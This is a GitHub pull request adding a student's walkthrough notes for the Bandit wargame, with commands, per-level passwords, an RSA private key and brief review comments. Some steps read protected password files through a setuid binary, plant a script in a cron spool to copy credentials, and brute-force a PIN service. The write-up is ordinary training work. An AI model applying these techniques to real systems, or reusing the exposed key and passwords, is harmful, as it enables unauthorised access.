This repository has been archived by the owner on Feb 11, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 12
Adds Karthiks Bandit Assignment #5
Open
kituuu
wants to merge
1
commit into
mdg-iitr-learning:main
Choose a base branch
from
kituuu:main
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,307 @@ | ||
| Git Assignment MDG b26 | ||
| sudo ssh [email protected] -p 2220 | ||
| password | ||
| cat readme | ||
| p1 : NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| cat ./- | ||
| rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| cat “spaces in this filename” | ||
| aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| ls | ||
| cd inhere | ||
| ls -a | ||
| cat .hidden | ||
| 2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| ls | ||
| cd inhere | ||
| ls | ||
| file ./* | ||
| cat ascii text data | ||
| lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR | ||
|
|
||
|
|
||
| cd inhere | ||
| ls -l | ||
| du —bytes -a | sort -rh | ||
| P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU | ||
|
|
||
|
|
||
| find / -user bandit7 -group bandit6 -size 33c 2>/dev/null | ||
| cat /var/lib/dpkg/info/bandit7.password | ||
| bandit8 | ||
| z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S | ||
|
|
||
| man grep | ||
| grep -w "millionth" data.txt | ||
| pswd: TESKZC0XvTetK0S9xNwm25STk5iWrBvP | ||
|
|
||
|
|
||
|
|
||
| sort data.txt | uniq -c | ||
| EN632PlfYiZbn3PhVK3XOGSlNInNE00t | ||
|
|
||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| ls | ||
| grep “=“ data.txt | ||
| strings data.txt | ||
| strings data.txt | grep “==“ | ||
| G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| ls | ||
| cat data.txt | ||
| base64 —help | ||
| base64 -d data.txt | ||
| 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| ls | ||
| cat data.txt | ||
| copy rotated text | ||
| tr 'A-Za-z' 'N-ZA-Mn-za-m' <<< "WIAOOSFzMjXXBC0KoSKBbJ8puQm5lIEi" | ||
| JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv | ||
|
|
||
| mkdir /tmp/mykt | ||
| cp data.txt /tmp/mykt | ||
| file data.txt | ||
| cd /tmp/mykt | ||
| xxd -r data.txt -> data | ||
| file data | ||
| xxd -r data | ||
| mv data data.gz | ||
| gzip -d data.gz | ||
| file data | ||
| mv data data.bzip2 | ||
| file data.bzip2 | ||
| mv data.bzip2.out data.bzip2.gz | ||
| gzip -b data.bzip2.gz | ||
| file data.bzip2 | ||
| tar —help | ||
| mv data.bzip2 data.tar | ||
| tar -x -f data.tar | ||
| file data5.bin | ||
| rm data.tar | ||
| mv data5.bin data.tar | ||
| tar -x -f data.tar | ||
| file data6.bin | ||
| mv data6.bin data.bz2 | ||
| bzip2 -d data.bz2 | ||
| file data | ||
| mv data data.tar | ||
| tar -x -f data.tar | ||
| file data8.bin | ||
| mv data8.bin data.gz | ||
| gzip -d data.gz | ||
| ls | ||
| file data | ||
| cat data | ||
| wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw | ||
|
|
||
|
|
||
| ssh -i sshkey.private [email protected] -p 2220 | ||
|
|
||
| ls -la | ||
| cd .. | ||
| cd .. | ||
| cd .. | ||
| cd etc | ||
| cd bandit_pass | ||
| ls | ||
| cat bandit14 | ||
| np localhost 30000 | ||
| fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq | ||
| jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt | ||
|
|
||
| ssh [email protected] -p 2220 | ||
| openssl s_client localhost:30001 | ||
| JQttfApK4SeyHwDlI9SXGR50qclOAil1 | ||
|
|
||
| ssh [email protected] -p 2220 | ||
| nmap -sO -p31000-32000 localhost | ||
| nmap localhost -p31000-32000 | ||
| -----BEGIN RSA PRIVATE KEY----- | ||
| MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ | ||
| imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ | ||
| Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu | ||
| DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW | ||
| JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX | ||
| x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD | ||
| KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl | ||
| J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd | ||
| d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC | ||
| YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A | ||
| vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama | ||
| +TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT | ||
| 8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx | ||
| SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd | ||
| HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt | ||
| SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A | ||
| R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi | ||
| Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg | ||
| R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu | ||
| L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni | ||
| blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU | ||
| YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM | ||
| 77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b | ||
| dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3 | ||
| vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY= | ||
| -----END RSA PRIVATE KEY----- | ||
| mkdir /tmp | ||
| cd tmp | ||
| touch sshkey.private | ||
| nano sshkey.private | ||
| paste the password | ||
| ssh -i sshkey.private [email protected] -p 2220 | ||
| diff --normal password.old password.new | ||
| hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg | ||
|
|
||
| sudo ssh [email protected] -p 2220 "cat readme" | ||
| awhqfNnAbc1naukrpqDYcF95h7HoMTrC | ||
|
|
||
| sudo ssh [email protected] -p 2220 | ||
| ls -la | ||
| drwxr-xr-x 2 root root 4096 Feb 21 22:03 . | ||
| drwxr-xr-x 70 root root 4096 Feb 21 22:04 .. | ||
| -rwsr-x--- 1 bandit20 bandit19 14876 Feb 21 22:03 bandit20-do | ||
| -rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout | ||
| -rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc | ||
| -rw-r--r-- 1 root root 807 Jan 6 2022 .profile | ||
| # here we can see that bandit20-do is owned by bandit20 but bandit19 can see it, | ||
| we can retrieve the password from this for the next level | ||
| ./bandit20-do | ||
| ./bandit20-do id | ||
| uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) | ||
| groups=11019(bandit19) | ||
| # uid - userid, gid-groupid, euid-effective user id (for us, our effective userid | ||
| is of bandit20)-for the moment we are bandit20 | ||
| ./bandit20-do cat /etc/bandit_pass/bandit20 | ||
| VxCazJaVykI6W36BkBU0mJTCM8rR95XT | ||
|
|
||
| open 2 terminal for bandit20, create a netcat listener on one terminal and | ||
| connect using suconnect script provided in the level | ||
| on sending the password of bandit20 from netcat terminal you will re-receive the | ||
| password of bandit21 | ||
| T1 : nc -l 2000 | ||
| T2 : ./suconnect 2000 | ||
| T1 : bandit20 pass | ||
| T2 : Receives bandit20 pass, sends nect password to T1 again | ||
| T1 : NvEJF7oVjkddltPSrdKEFOllh9V1IBcq | ||
|
|
||
|
|
||
| man 5 crontab | ||
| man crontab | ||
| man cron | ||
| ls | ||
| ls -la | ||
| cd /etc | ||
| cd cron.d | ||
| ls -la | ||
| cat cronjob_bandit22 | ||
| copied the path in cronjob command | ||
| ls /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv | ||
| cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv | ||
| WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff | ||
|
|
||
| ls | ||
| cd /etc/cron.d | ||
| cat cronjob_bandit23 | ||
| cat /usr/bin/cronjob_bandit23.sh | ||
| CRONJOB_BANDIT23.SH STARTS | ||
| #!/bin/bash | ||
|
|
||
| myname=$(whoami) | ||
| mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) | ||
|
|
||
| echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget" | ||
|
|
||
| cat /etc/bandit_pass/$myname > /tmp/$mytarget | ||
| CRONJOB_BANDIT23.SH ENDS | ||
|
|
||
| bandit22@bandit:/etc/cron.d$ whoami | ||
| bandit22 | ||
| bandit22@bandit:/etc/cron.d$ myname = whoami | ||
| 'myname: command not found | ||
| bandit22@bandit:/etc/cron.d$ myname = $whoami | ||
| myname: command not found | ||
| bandit22@bandit:/etc/cron.d$ myname = $(whoami) | ||
| myname: command not found | ||
| bandit22@bandit:/etc/cron.d$ myname=$(whoami) | ||
| bandit22@bandit:/etc/cron.d$ echo mynam | ||
| mynam | ||
| bandit22@bandit:/etc/cron.d$ echo myname | ||
| myname | ||
| bandit22@bandit:/etc/cron.d$ echo $myname | ||
| bandit22 | ||
| bandit22@bandit:/etc/cron.d$ echo I am user $myname | md5sum | cut -d ' ' -f 1 | ||
| 8169b67bd894ddbb4412f91573b38db3 | ||
| bandit22@bandit:/etc/cron.d$ echo I am user bandit22 | md5sum | cut -d ' ' -f 1 | ||
| 8169b67bd894ddbb4412f91573b38db3 | ||
| bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1 | ||
| 8ca319486bfbbc3663ea0fbe81326349 | ||
| bandit22@bandit:/etc/cron.d$ myname=bandit23 | ||
| bandit22@bandit:/etc/cron.d$ mytarget=I am user $myname | md5sum | cut -d ' ' -f | ||
| 1 | ||
| am: command not found | ||
| d41d8cd98f00b204e9800998ecf8427e | ||
| bandit22@bandit:/etc/cron.d$ mytarget=$(echo I am user $myname | md5sum | cut -d | ||
| ' ' -f 1) | ||
| bandit22@bandit:/etc/cron.d$ echo mytarget | ||
| mytarget | ||
| bandit22@bandit:/etc/cron.d$ echo myname | ||
| myname | ||
| bandit22@bandit:/etc/cron.d$ echo $mytarget | ||
| 8ca319486bfbbc3663ea0fbe81326349 | ||
| bandit22@bandit:/etc/cron.d$ echo "Copying passwordfile /etc/bandit_pass/$myname | ||
| to /tmp/$mytarget" | ||
| Copying passwordfile /etc/bandit_pass/bandit23 to | ||
| /tmp/8ca319486bfbbc3663ea0fbe81326349 | ||
| bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349 | ||
| QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G | ||
|
|
||
| ls | ||
| cd /etc/cron.d | ||
| cat cronjob_bandit24 | ||
| cat /usr/bin/cronjob_bandit24.sh | ||
| myname=bandit24 | ||
| cd /var/spool/$myname/foo | ||
| mkdir /tmp/mykt2 | ||
| chmod 777 /tmp/mykt2 | ||
| nano dahs.sh | ||
| #!/usr/bin/bash | ||
|
|
||
| cat /etc/bandit_pass/bandit24 > /tmp/mykt2/brobandit24.txt | ||
|
|
||
| save the script | ||
| chmod -x dahs.sh #making this script executable (i guess) | ||
| after 1 min | ||
| cat /tmp/mykt2/brobandit24.txt | ||
| VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar | ||
|
|
||
| p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d | ||
| mkdir /tmp/mykt3 | ||
| cp /etc/bandit_pass/bandit24 /tmp/mykt3 | ||
| cd /tmp/mykt3 | ||
| nano script.sh | ||
| chmod +x script.sh | ||
| Put the following code in the file | ||
| #!/usr/bin/bash | ||
|
|
||
| for i in {000..9999} | ||
| do | ||
| echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i" | ||
| done | ||
| nc localhost 30002 | ./script.sh | ||
| The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d | ||
|
|
||
|
|
||
|
|
||
|
|
||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
explain touch sshkey.private statement
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Touch se file create hoti, at that time i don't ki directly nano karke save karne se bhi file create ho jaati hai. RSA private key mili thi hume isliye isme copy karke save kiya tha